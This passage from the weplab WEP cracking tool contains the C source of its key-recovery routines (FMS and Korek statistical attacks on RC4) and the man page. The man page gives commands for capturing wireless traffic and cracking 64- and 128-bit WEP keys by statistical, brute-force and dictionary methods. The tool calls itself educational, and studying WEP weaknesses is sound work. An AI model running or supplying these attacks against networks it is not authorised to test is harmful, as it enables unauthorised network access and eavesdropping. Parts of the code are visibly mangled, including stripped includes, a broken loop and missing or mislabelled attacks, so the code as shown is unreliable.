details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- attack.c: cryptoanalysis attacks to WEP encryption */ #include #include #include #include #include #include #include #include #include "globals.h" #include "attack.h" unsigned int weakKeyBranch[NUMBER_ATTACKS][13]; // Implemented Korek's attacks: A_s5_1, A_s2, A_s13, A_w13_1, Aw5_1, A_w5_2, A_w13_2, A_w13_3, A_w5_3, A_w15, A_s5_2 // A_s5_3, A_4_s13, A_4_w5_1, A_4_w5_2, A_4_w5_4, A_neg unsigned char defaultAttacks[STABILITY_LEVELS+1][NUMBER_ATTACKS]={ // Sets whether an specific attack number launched by default (1) or not (0). {5,3,13,11,4,4,11,11,4,15,5,5,13,4,4,4,1}, {5,3,13,11,0,0,11,11,0,15,5,5,13,3,3,3,1}, {5,3,13,0,0,0,0,0,0,15,5,5,13,0,0,0,1}, {5,3,13,0,0,0,0,0,0,0,0,0,13,0,0,0,1}, {5,0,13,0,0,0,0,0,0,0,0,0,0,0,0,0,0}, {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1} }; int reject[256]; static void SwapByte(unsigned char *a, unsigned char *b){ unsigned char swapByte; swapByte=*a; *a=*b; *b=swapByte; } // This function initializes global variables needed for different heuristics attacks. void InitKeyByteSearch(void){ int i; for (i=0; i<256; i++) reject[i]=0; } // This function finishes normalize needed for different heuristics attacks. void FinishKeyByteSearch(int keyByte, unsigned int totalIvs, unsigned int votes[17][256]){ /* reject the "impossible" keybytes */ int i; for( i = 0; i < 256; i++ ){ if (reject[i]>3+(int)(totalIvs/150000)) votes[keyByte][i]=0; if (votes[keyByte][i]>10 * reject[i]) votes[keyByte][i]-= 10 * reject[i]; else votes[keyByte][i]=1; // This byte has 0% probab. of suceed } } // Insert your custom attack algorithm in this function. // keyByte: current keybyte being attacked at this moment. // sKey: previous guessed keybytes on this particual branch. // S: calculated permutation vector // actual_iv: positions 0..2 contains the current packet IV // positions 2..3 contains the two first bytes of the RC4 encryption stream // votes[keybyte][candidateKeyValue]: contains the total votes for current keybyte at a particular possible value 0..0xFF void AttackAndEvaluate(int keyByte, u_char *sKey, unsigned char *K, unsigned char *S, unsigned char *actual_iv, unsigned int votes[17][256], unsigned int totalIvs){ int i,j; unsigned char jj[256]; unsigned char Si[256]; u_char E,o1,o2; unsigned char foundWeak[NUMBER_ATTACKS]; // Initialization. foundWeak contains boolean values that indicates if the current data packet was suitable for previous attacks // Very usefull if you want to know within your attack algorithm if current packet was found weak by previous attacks for (i=0; i=0;i--) SwapByte(&Si[i],&Si[jj[i]]); // Now let's go for o1 and o2 o1= actual_iv[3]; o2= actual_iv[4]; // NOW ATTACKS BEGINS! // ------------------------------------------------------------ // Attack 1: classic FMS attack to byte 0 of output stream // ------------------------------------------------------------ // SOURCE: original FMS paper // DESCRIPTION: Half-strong (ie strong 5 and some weak 5) 5% - Korek A_s5_1 if (defaultAttacks[global_v.stability][0] && defaultAttacks[STABILITY_LEVELS][0]){ if((S[1] < keyByte + 3 && ((S[1] + S[S[1]]) & 0xFF) == keyByte + 3) && (Si[o1]!=1) && (Si[o1]!=S[S[1]])) { foundWeak[0]=1; weakKeyBranch[0][keyByte]++; E=(Si[o1]-S[keyByte+3]-jj[keyByte+3-1]) & 0xFF; // Si[o1]-S[keyByte+3]-jj[keyByte+3-1] votes[keyByte][E]+= defaultAttacks[global_v.stability][0]; } } // ------------------------------------------------------------ // Attack 2: classic FMS attack to byte 1 of output stream // ------------------------------------------------------------ // SOURCE: h1kari second byte FMS attack implemented by Topo[LB] // DESCRIPTION: stable 3% - Korek A_s2 if ( defaultAttacks[global_v.stability][1] && defaultAttacks[STABILITY_LEVELS][1]){ if (((S[1]!=2) && (S[2]!=0) && ((S[2]+S[1]) < keyByte+3) && ((S[2] + S[S[2]+S[1]]) & 0xFF) == keyByte + 3) && (Si[o2]!=1) && (Si[o2]!=2) && (Si[o2]!=S[1]+S[2])) { foundWeak[1]=1; weakKeyBranch[1][keyByte]++; E = (Si[o2]-S[keyByte+3]-jj[keyByte+3-1])&0xFF; // Si[o2]-S[keyByte+3]-jj[keyByte+3-1] votes[keyByte][E]+= defaultAttacks[global_v.stability][1]; } } // ------------------------------------------------------------ // Attack 3: strong 13% // ------------------------------------------------------------ // SOURCE: Korek strong 13% // DESCRIPTION: if S[1]==q and o1=q then S[q]=0 // stable 13% - Korek A_s13 if (defaultAttacks[global_v.stability][2] && defaultAttacks[STABILITY_LEVELS][2]){ if( S[1] == keyByte + 3 && o1 == keyByte + 3 ) { foundWeak[2]=1; weakKeyBranch[2][keyByte]++; E = (Si[0]-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][2]; } } // ------------------------------------------------------------ // Attack 4: semi-weak 13% // ------------------------------------------------------------ // SOURCE: Korek semi-weak 13% // DESCRIPTION: if S[1]==q and o1=1-q then S[q]=1-q // unstable 13% - Korek A_w13_1 if (defaultAttacks[global_v.stability][3] && defaultAttacks[STABILITY_LEVELS][3]){ if( S[1] == keyByte + 3 && o1 == ((1 - (keyByte + 3))&0xFF) ) { foundWeak[3]=1; weakKeyBranch[3][keyByte]++; E = (Si[o1]-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][3]; } } // ------------------------------------------------------------ // Attack 5: weak 5% // ------------------------------------------------------------ // SOURCE: Korek weak 5% // DESCRIPTION: if S[q]+q=io1q->0 so o1=q // unstable 13% - Korek A_w13_2 if (defaultAttacks[global_v.stability][6] && defaultAttacks[STABILITY_LEVELS][6]){ if( S[keyByte+3]==keyByte+3 && S[1]==0 && o1==keyByte+3) { foundWeak[6]=1; weakKeyBranch[6][keyByte]++; E = (1-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][6]; } } // ------------------------------------------------------------ // Attack 8: unstable 13% // ------------------------------------------------------------ // SOURCE: Korek unstable 13% // DESCRIPTION: S'[1]=1-q, S'[q]=q j_q=1 then 1->q->1-q so o1=1-q // unstable 13% - Korek A_w13_3 if (defaultAttacks[global_v.stability][7] && defaultAttacks[STABILITY_LEVELS][7]){ if( S[keyByte+3]==keyByte+3 && o1==S[1] && S[1]==((1-(keyByte+3))&0xFF)) { foundWeak[7]=1; weakKeyBranch[7][keyByte]++; E = (1-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][7]; } } // ------------------------------------------------------------ // Attack 9: unstable 5% // ------------------------------------------------------------ // SOURCE: Korek unstable 5% // DESCRIPTION: jq=1, S[q]=q, S[1]!=0,1-q // unstable 5% - Korek A_w5_3 if (defaultAttacks[global_v.stability][8] && defaultAttacks[STABILITY_LEVELS][8]){ if( S[keyByte+3]==keyByte+3 && S[1]>=((-1*(keyByte+3))&0xFF) && S[1]==((Si[o1]-(keyByte+3))&0xFF)) { foundWeak[8]=1; weakKeyBranch[8][keyByte]++; E = (1-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][8]; } } // ------------------------------------------------------------ // Attack 10: semi-stable 15% // ------------------------------------------------------------ // SOURCE: Korek semi-stable 15% // DESCRIPTION: semi-stable 15 - Korek A_w15 // if (defaultAttacks[global_v.stability][9] && defaultAttacks[STABILITY_LEVELS][9]){ if( S[2]!=0 && o2==0 && S[keyByte+3]==0 ) { foundWeak[9]=1; weakKeyBranch[9][keyByte]++; E = (2-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][9]; } } // ------------------------------------------------------------ // Attack 11: strong 5% on o2 // ------------------------------------------------------------ // SOURCE: Korek strong 5% on o2 // DESCRIPTION: strong 5% on o2 - Korek A_s5_2 // if (defaultAttacks[global_v.stability][10] && defaultAttacks[STABILITY_LEVELS][10]){ if( S[1]>keyByte+3 && ((S[2]+S[1])&0xFF)==keyByte+3 && o2==S[1] && Si[(S[1]-S[2])&0xFF]!=1 && Si[(S[1]-S[2])&0xFF]!=2) { foundWeak[10]=1; weakKeyBranch[10][keyByte]++; E = (Si[(S[1]-S[2])&0xFF]-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][10]; } } // ------------------------------------------------------------ // Attack 12: strong 5% on o2 // ------------------------------------------------------------ // SOURCE: Korek strong 5% on o2 // DESCRIPTION: strong 5% on o2 - Korek A_s5_3 // if (defaultAttacks[global_v.stability][11] && defaultAttacks[STABILITY_LEVELS][11]){ if( S[1]>keyByte+3 && ((S[2]+S[1])&0xFF)==keyByte+3 && o2==((2-S[2])&0xFF) && Si[o2]!=1 && Si[o2]!=2) { foundWeak[11]=1; weakKeyBranch[11][keyByte]++; E = (Si[o2]-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][11]; } } // ------------------------------------------------------------ // Attack 13: strong 13% on q=4 // ------------------------------------------------------------ // SOURCE: Korek strong 13% on q=4 // DESCRIPTION: strong 13% on q=4 - Korek A_4_s13 // if (defaultAttacks[global_v.stability][12] && defaultAttacks[STABILITY_LEVELS][12]){ if( keyByte+3==4 && S[1]==2 && o2==0) { foundWeak[12]=1; weakKeyBranch[12][keyByte]++; E = (Si[0]-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][12]; } } // ------------------------------------------------------------ // Attack 14: unstable 5% on q=4 // ------------------------------------------------------------ // SOURCE: Korek unstable 5% on q=4 // DESCRIPTION: unstable 5% on q=4 - Korek A_4_w5_1 // if (defaultAttacks[global_v.stability][13] && defaultAttacks[STABILITY_LEVELS][13]){ if( keyByte+3==4 && S[1]==2 && o2!=0 && jj[1]==2 && Si[o2]==0) { foundWeak[13]=1; weakKeyBranch[13][keyByte]++; E = (Si[254]-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][13]; } } // ------------------------------------------------------------ // Attack 15: unstable 5% on q=4 // ------------------------------------------------------------ // SOURCE: Korek unstable 5% on q=4 // DESCRIPTION: unstable 5% on q=4 - Korek A_4_w5_2 // if (defaultAttacks[global_v.stability][14] && defaultAttacks[STABILITY_LEVELS][14]){ if( keyByte+3==4 && S[1]==2 && o2!=0 && jj[1]==2 && Si[o2]==2) { foundWeak[14]=1; weakKeyBranch[14][keyByte]++; E = (Si[255]-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][14]; } } // ------------------------------------------------------------ // Attack 16: unstable 5% on q=4 // ------------------------------------------------------------ // SOURCE: Korek unstable 5% on q=4 // DESCRIPTION: unstable 5% on q=4 - Korek A_4_w5_4 // if (defaultAttacks[global_v.stability][15] && defaultAttacks[STABILITY_LEVELS][15]){ if( keyByte+3>4 && S[4]+2==keyByte+3 && Si[o2]!=1 && Si[o2]!=4) { foundWeak[15]=1; weakKeyBranch[15][keyByte]++; E = (Si[o2]-S[keyByte+3]-jj[keyByte+3-1])&0xFF; votes[keyByte][E] += defaultAttacks[global_v.stability][15]; } } // ------------------------------------------------------------ // Attack 17: inversed Korek // ------------------------------------------------------------ // SOURCE: Korek inversed - Korek A_neg if (defaultAttacks[global_v.stability][16] && defaultAttacks[STABILITY_LEVELS][16]){ if( S[2] == 0 ) { if( S[1] == 2 && o1 == 2 ) { reject[(1 - jj[keyByte+3-1] - S[keyByte+3]) & 0xFF]++; reject[(2 - jj[keyByte+3-1] - S[keyByte+3]) & 0xFF]++; foundWeak[16]=1; weakKeyBranch[16][keyByte]++; } else if( o2 == 0 ) { reject[(2 - jj[keyByte+3-1] - S[keyByte+3]) & 0xFF]++; foundWeak[16]=1; weakKeyBranch[16][keyByte]++; } }else{ if( o2==0 && S[keyByte+3]==0 ) { //reject[(2 - jj[keyByte+3-1] - S[keyByte+3]) & 0xFF]++; foundWeak[16]=1; weakKeyBranch[16][keyByte]++; } } if (S[1]==1 && o1==S[2]){ reject[(1 - jj[keyByte+3-1] - S[keyByte+3]) & 0xFF]++; reject[(2 - jj[keyByte+3-1] - S[keyByte+3]) & 0xFF]++; foundWeak[16]=1; weakKeyBranch[16][keyByte]++; } if (S[1]==0 && S[0]==1 && o1==1){ reject[(0-jj[keyByte+3-1] - S[keyByte+3]) & 0xFF]++; reject[(1 - jj[keyByte+3-1] - S[keyByte+3]) & 0xFF]++; foundWeak[16]=1; weakKeyBranch[16][keyByte]++; } } } weplab-0.1.5/weplab.10000644000000000000000000005256010155670710011224 00000000000000.TH weplab 1 .SH NAME weplab \- Wireless WEP encryption security analyzer .SH SYNOPSIS \fBweplab\fR {\-a | \-r | \-b | \-y | \-c} [options] {\fBpcap file\fR} .SH DESCRIPTION weplab is a tool to review the security of WEP encryption in wireless networks from an educational point of view. Several attacks are available (including advanced statistical attacks) so it can be measured the efectiveness and minimun requirements of each one. .PP On the other hand, weplab can also be saw as an advanced Wireless WEP encryption cracker that aims to support a big variety of attacks. At the moment the attacks supported are dictionary based, bruteforce and several kind of statistical based. .SH OPTIONS .TP \-a, \-\-analyze Analyzes specific file and gathers some statistics about the packets that are stored per detected wlan network. .TP \-c, \-\-capture Uses a wlan interface to capture wep encrypted data packets. Those captured packets will be logged into a file in pcap format and can be used later to crack the key. .TP \-b, \-\-bruteforce Launches a bruteforce attack to break the key. That means that weplab will test all possible keys in order to find the right one. Please, that this can take lot of time depending on the key size and your processor speed. Refer to Bruteforce method above in this document for futher information. If no BSSID was specified, those packets who belong to the same network as the first one, will be used for the crack. .TP \-r, \-\-heuristics Launches an statistical attack to break the key. This is the fastest method to crack the key if you own enough packets. As an example a 64\-bit key can be broken from 100.000 packets, and a 128\-bit key from 300.000 packets, within 1\-2 hours. With enough packets (lets say 900.000), the cracking time is matter of seconds. Several statistical attacks will be used depending on the selected stability level (3 by default). The processor time and number of packets required, highly depends on the parameters used to launch the attack. This method is very advanced. You are fully encouraged to understand it reading its section on this document. Although it use to work fine with default options and having, enough packets, its better to understand how it works so you can tweak the procedure using the apropiate parameters. If no BSSID was specified, those packets who belong to the same network as the first one, will be used for the crack. .TP \-y, \-\-dictionary Launches a dictionary based attack to break the key. Many WEP keys are derived from pass\-phrases, entered by the network administrator. When, this happens and you do not have enough packets to launch a statistical attack, it is better to use a dictionary based cracking than a bruteforce aproach. On dictionary attack, John the Ripper is used to generate the words that weplab will use to derive the WEP key. So, John the Ripper must be present and executed so its output is piped into weplabs input. In the EXAMPLES section you will find several examples about that. If no BSSID was specified, those packets who belong to the same network as the first one, will be used for the crack. .TP \-k, \-\-key \fI\fR Specify the key length. It can be either 64 or 128\-bit This option is only usefull within a cracking method, so \-y, \-r or \-b must be used in conjuntion with it. Default: 64 bits. .TP \-\-keyid \fI\fR Specify the key id for 64\-bit keys. For 64\-bit keys the WEP standard specifies four possible keys, each one with a different keyid (0\-3). Usually only keyid 0 is used, but if you hit a network with more keyids you will need to use this option to specify one of them, and launch a separate cracking attack for each one. Default: 0 .TP \-\-fcs Specify the presence of a 1 byte FCS tail on all logged packets Depending on your driver and how did you set your card into monitor mode , it is possible than logged packets have an aditional tail of 1 byte length. Best way to find out if your card/drivers needs this, is trying to break your own network. This way, as you already know the key, if it does not get cracked without FCS, try with it. This option is only usefull within a cracking method, so \-y, \-r or \-b must be used in conjuntion with it. Default: fcs not present. .TP \-\-prismheader Specify the presence of an special header called PrismHeader on all logged packets Depending on your driver and how did you set your card into monitor mode , it is possible than logged packets have an aditional header of 144 bytes length. If you want to know if you need it or not, just analyze the file with weplab. If prismheader is not necessary it will tell you. If it is neccesary, you will see lot of bogus BSSIDs, and no adversice about not using prismehader Anyway, cracking your own WEP key is the best method to know if you need it or not. This option is only usefull within a cracking method, so \-y, \-r or \-b must be used in conjuntion with it. From weplab 0.1.2 you will also need to specify it with \-a in order weplab to show you the right BSSIDs found. Default: prismheader not present. .TP \-\-bssid \fI\fR Only use those packets that belongs to the selected BSSID. BSSID must be in the form of AA:BB:CC:DD:EE:FF If BSSID is not specified only those packets, that belong to the same BSSID as the first one, will be used Use \-a with your file if you want to see all detected BSSIDs This option is only usefull within a cracking method, so \-y, \-r or \-b must be used in conjuntion with it. Default: none .TP \-\-caplen \fI\fR Specify the amount of bytes that will be logged for each packets. In order to launch an attack only a few number of packets (10) must be fully logged. For the statistical attacks, only the first bytes of other packets are needed. In order to save diskspace when logging packets for the statistical attack, ony the begining of the packet should be logged If you specify 0 here, the whole packet will be logged. Please, notice that you will need to capture at least 10 packets behind this amount (fully logged packets), as they will be needed for testing candidate keys within the cracking process. Default: 1500 .TP \-i \fI\fR Specifies the wireless interface that will be used to capture packets. weplab does not set the interface into monitor mode, so you must do it yourself before capturing packets. Read the above to learn how to do it. .TP \-m, \-\-multiprocess \fI\fR Specifies the number of threads that will be launched to take advantage of multiprocessors systems. If your microprocessor supports hyperthreading please use the double of number of microprocessors. For example, use \-m 4 if you own a dual P4 hyperthreading and \-m 2 if you own a dual processor P\-II machine. At the moment this option does only work on bruteforce attack. Default: 1 .TP \-\-ascii When launching a bruteforce attack, it is faster to search only ascii bytes if you are sure that the WEP key was generating from a pass phrase using ascii direct\-mapping. This way, each key byte will only be tested in the range of 00\-3F. As the key\-space is smaller the attack is faster. .TP \-\-perc \fI\fR Specify the desired minimun probability for the statistical attack. It means that at least enough candidate key bytes will be tested to fit this probability. In order to fully understand this option you are encouraged to read carefully the "Statistical Attacks" caption, above in this document. Please note that the higher the minimun probability the slowest the attack. For most cases 50% is fine. You can increase to 60 or 70% if you get the KEY NOT FOUND with 50, but never increase it to 100% because you will be waiting for ever. .TP \-\-stability \fI\fR Specify the predefined set of statistical attacks based on their stability level. Not all the statistical attacks are stable (works fine) your every key. Some of them are more unstable than others. This options allows you to launch only those attacks that meets the specified stability level. Level can be from 1 to 5. The highest the more stable. I do not recomment you to go for level 1 because it is too unstable to give you any results. By default level 3 is used. It is a good idea to change into level 2 if you have little unique IV and cracking with level 3 failed. In the Statistical Attack caption, you will find a detailed list of the 17 attacks implemented with the stability level of each one. .TP \-\-attacks \fI#attack1,#attack2,#attack2\fR This is the other way to select the statistical attacks that will be launched, without using \-\-stability parameter. Only those attacks, whose number is selected here, will be used in the statistical procedure. The number of the attacks go from 1 to 17. Please, refer to the Statistical Attacks section for further information. .TP \-\-debugkey \fI\fR if you want to test how a set of statistical attacks works with a known WEP key, then this parameter will give you the oportunity to get the final result without going trhow all the possible branches. Using this option you tell weplab about the WEP key used to encrypt the packets. Only the real branch will be followed and you will get the candidate list for each key byte. .TP \-V Outputs version information and exists. .TP \-h Displays command line parameters help. .SH INSTALLATION weplab does not need any special installation. It runs in userlevel and only requires the libpcap libraries (>=0.8) to be present. For most functions weplab can be executed by any user, however for packet capture functionality it must be executed by root. .PP if you are installing it from source code distribution, the configure script should be able to detect your proccessor type to optimize the code specifically for your platform. .PP At least 128 MB of free RAM memmory are required to run FMS statistical attack in weplab, 64 MB of free ram for capturing packets, and nothing special for the other features. .PP Weplab is reported to work fine under GNU/Linux for intel, GNU/Linux for PPC and MacOSX. .PP Windows version cannot capture packets due to the lack of a opensource method to do it, but its other features works fine. Please read Windows Platform section under Capture Packets caption for futher information about how to deal with this issue under Windows. .SH "CAPTURING PACKETS" First you will need to capture 802.11b encrypted packets to crack the wep key. The way weplab cracks the key is using passive attacks to an already captured packet set. .PP To capture encrypted packets in a wireless network, your wireless card must be put in monitor mode. The way monitor mode is set is highly dependant on which card do you own, and which drivers are you using. .PP Explaining how to set monitor mode in your card is beyond the scope of this document, and sometimes involves patching the kernel or "hacking" the drivers. As an example, the following steps should be done in order to set monitor mode on a prism2 based card using wlan\-ng drivers. .TP Initialization of the card. prism2 and wlan\-ng wlanctl\-ng wlan0 lnxreq_ifstate ifstate=enable wlanctl\-ng wlan0 lnxreq_autojoin ssid=any authtype=opensystem orinoco : nothing special .TP Enable the interface (wlan0 in the example, just change to eth0 if using orinoco) ifconfig wlan0 up .TP Setting monitor mode on desired channel (6 in the example). prism2 and wlan\-ng wlanctl\-ng wlan0 lnxreq_wlansniff channel=06 keepwepflags=false prismheader=false enable=true (I dont know why, but sometimes this step must be taken twice :) ) orinoco and iwpriv iwpriv eth0 monitor 2 6 .PP There are a few things that must be done regardless of the card and drivers used. .PP 1. The wireless card placed in monitor mode should accept encrypted packets and mark them as encrypted. In the example above, that's the purpose of the option keepwepflags=false in third step. .PP 2. The interface must be enabled (up) .PP 3. If your card is appending prism header or fcs "tail" to the packets, weplab needs to be told about it (with \-\-fcs or \-\-prismheader). Determining if this is necessary for your hardware will be explained later. .PP Now, to capture encrypted packets you can either use weplab, tcpdump, or a similar sniffer that logs packets in pcap format. .PP To do it with weplab, just use \-c. Interface must be specified with \-i weplab \-\-debug 1 \-c \-i wlan0 ./packets.log There is no need to log the entire packet, just the 802.11 header and the IV, but to verify possible canditate keys the whole packet encrypted payload must be present. That's why you must specify two files in weplab when using FMS attack. One file must have just 10 packets with the whole payload, and the other file contains weak packets that don't need to have payload logged. .PP So, in order to save disk space it is a good idea to log a few packets for key verification on one file, and then just log the first bytes of all other possible packets, to be used as possible weak packet for FMS attack. .PP You can specify maximun captured bytes per packet with \-\-caplen bytes weplab \-c \-i wlan0 \-\-debug 1 ./verification_packets.logweplab \-c \-i wlan0 \-\-debug 1 \-\-caplen 100 ./weak_packets.log Alternately, if your disk space is not so critical and you don't mind wasting a few extra seconds on loading the file later, these two steps can be joined into one. weplab \-c \-i wlan0 \-\-debug 1 \-\-caplen 150 ./packets.log Then this file can be used both for verification and weak packets. .SH "ANALYZING PCAP FILE" Before trying to crack the key using the already captured packets, it is a good idea to verify the file just to ensure that the packets were logged fine, and there are enough to perform the desired attack. weplab \-\-debug 1 \-a ./packets.log You can try with \-\-prismheader or \-\-fcs, or both. weplab \-\-debug 1 \-a \-\-fcs ./packets.logweplab \-\-debug 1 \-a \-\-prismheader \-\-fcs ./packets.log As explained above, prismheader is an special header that some cards and drivers add to all captured packets, and fcs is an special tail added to the captured packets by some drivers. You can determine if your card/drivers needs \-\-fcs or \-\-prismheaders by using the FMS attack together with \-\-debugkey and a set of encrypted packets captured by your card where the wep key is known. This is explained later in the FMS attack section. .SH "WEP KEY CRACKING." At the moment weplab supports 2 main cracking methods: bruteforce and FMS statistical attack. Before selecting the cracking method, the keysize should be specified. By default the keysize is 64. To crack a 128\-bit key, you must specify \-\-key 128 .SH "BRUTEFORCE CRACKING." Bruteforce cracking means testing all possible keys to find the right one. That means that each key byte can take values from 0 to 255. So a quick calculus will reveal that for a 64 bits key the total combinations are 2^40, so at 100.000 c/s cracking the key will take you 4100061318 seconds maximun. 127 days working fulltime. .PP With a 128\-bit key the total combinations possible are 2^104, so at 100.000 c/s the total maximun amount of time will be 6520836420927105974 YEARS!! I guess you will never try to launch a bruteforce attack to a 128\-bit key. Anyway, weplab gives you the possibility to do it ;) .PP You will need at least 10 full wep encrypted data captured packets in order to launch a bruteforce attack avoiding false positives. .SH "DICTIONNARY CRACKING" Guess what ? Users often use simple words as their WEP key. The dictionnary cracking mode gives you the ability to check if the WEP key isn't a so\-simple\-to\-guess word. Using this mode in addition to John\-the\-Ripper could produce some usefull results. .PP Weplab reads the dictionnary words from STDIN, so if you want statistics, you want be able to press SPACE. However, you'll have statistics printed on STDOUT every 10 seconds. .PP Dictionary cracking can use two different modes : .PP By default the classical algorithm (MD5 for 128 bits keys or one of 4 keys for 40 bits keys) it is used. This mode is widely used on Access Points to generate keys from a passphrase. .PP Alternatively you can select Word to key with the "\-\-attack 2" option if you want weplab to use plaintext keys with NULL bytes appended (if needed) at the end of each word to fit the WEP key size. This second mode is used on my system when I configure the WEP key using "iwconfig eth0 s:silly". .SH "FMS STATISTICAL ATTACK" Wireless networks WEP encryption is based on RC4 algorithm. RC4 has some weaknesses as Fluhrer, Mantin and Shamir described in 2001 with the paper "Weaknesses in the Key Scheduling Algorithm of RC4". The specific implementation of the RC4 algorithm in WEP makes possible its practical use. The initials of the authors gave it the name of FMS statistical cryptoanalysis. .PP In order to make this attack possible for breaking the encryption of wireless networks, lots of specific data wep encrypted packets, called weak packets, must be gathered. Soon after the paper was published, two tools appeared that implemented the FMS attack, but the set of weak packets that these tools use is just asmall subset of the total possible weak packets. As a result, the attack was not as practical to launch as it should be. .PP In February 2002, h1kari released the paper "Practical Exploitation of RC4 Weaknesses in WEP Environments". This describes the problem with the set of weak packets used by existing tools and suggest several optimization in the attack like attacking other bytes besides the first one. H1kari created a tool called dwepcrack that implements a part of these optimizations, and runs under *BSD. Weplab uses FMS attack supporting the whole set of weak packets for attacking both the first and the second byte of the encrypted payload. Also some bruteforce and smart probabilistic based decisions are implemented within the FMS attack to make it more powerful, especially when you dont have enough packets to launch a straight\-forward attack. .PP But apart from that, the main purpose of weplab is to be an educational tool to help users understand the existing weaknesses in WEP and how can the be used to break the encryption key. Several command line parameters are implemented with this purpose. .PP Also, if you plan to test weplab cracking capacity with your own wireless lan, you can use \-\-debugkey. By using this option you tell weplab what your WEP key is (or at least a part of it), so weplab will skip all other branches when searching candidate key bytes in FMS attack. .SH "NEW STATISTICAL ATTACKS" New statistical attacks published on Netstumbler forum by Korek. These new attacks make possible to crack the key with even less than 500k. .PP Many thanks to Korek for this information. All the credit goes to you. .SH EXAMPLES Example 1. Cracking using FMS attack You want to test the tool so you collect 1.5M packets from your own wireless LAN. You just want to know if weplab would be able to crack it. You can use first \-\-debugkey. If you are using a 128\-bit key the right sintax would be: .PP weplab \-r./packets.log \-\-debugkey 01:02:03:04:05:06:07:08:09:10:11:12:13 \-\-debug 1 \-\-key 128 ./packets.log .PP You should see the statistics and guesses for each byte of the key so you can see the viability of the attack. At the end you should see "key succesfully cracked". If you do not see such message, perhaps your captured packets have the FCS tail so it will be neccesary to issue \-\-fcs .PP weplab \-r./packets.log \-\-debugkey 01:02:03:04:05:06:07:08:09:10:11:12:13 \-\-fcs \-\-debug 1 \-\-key 128 ./packets.log .PP Now can try with just a part of the key in debugkey. If the FMS is possible with these packets, weplab should be able to crack the key using just these bytes. .PP weplab \-r./packets.log \-\-debugkey 01:02:03:04:05:06 \-\-fcs \-\-debug 1 \-\-key 128 \&./packets.log .PP If it works you can try reducing the debugkey more. At the end you can try with no debugkey at all, as if it were a real attack. .PP You can push ENTER key in any moment to get statistics of the work done. .PP Example 2. Cracking using bruteforce .PP To crack a 64\-bit key using normal bruteforce just issue the following command. .PP weplab \-\-debug 1 \-\-key 64 ./packets.log .PP If you suspect that the key may be in plain ascii, do this: .PP weplab \-\-debug 1 \-\-key 64 \-\-ascii ./packets.log .PP You can push ENTER key at any moment to get statistics of the work done. .PP Example 3. Capturing packets. .PP In order to capture packets you have to put your wireless card in monitor mode in the right channel. Be carefull to configure monitor mode to ignore WEP bit. Once you have your card in monitor mode, you can capture packets using tcpdump or weplab \-c \-i interface .PP weplab \-c \-i wlan0 \-\-debug 1 \-\-caplen 150 ./packets.log .PP You can push ENTER key at any moment to get statistics of the work done. .PP Example 4. Analyze an existing pcap file. .PP Weplab can also analyze a pcap file to the some statistics. Use \-a for this purpose. \-\-prismheader \-\-fcs can also be used. .PP weplab \-a \-\-debug 1 ./pcap.log .PP Example 5. Cracking a 64 WEP key using a dictionnary file with John the Ripper .PP john \-w:/path/to/my/big/dictionnaryfile \-rules \-stdout | weplab \-y \-d 1 \-\-key 64 capt.dump .SH VERSION This man page is correct for version 0.1.3 of weplab .SH AUTHOR weplab was created by Jose Ignacio Sanchez \- Topo[LB]. .PP However other people have made contributions to the project. In the AUTHORS file within the distribution package, you will find them. .PP Any new contribution in form of documentation translation, new feature development, bug fixing, and so on, will be welcome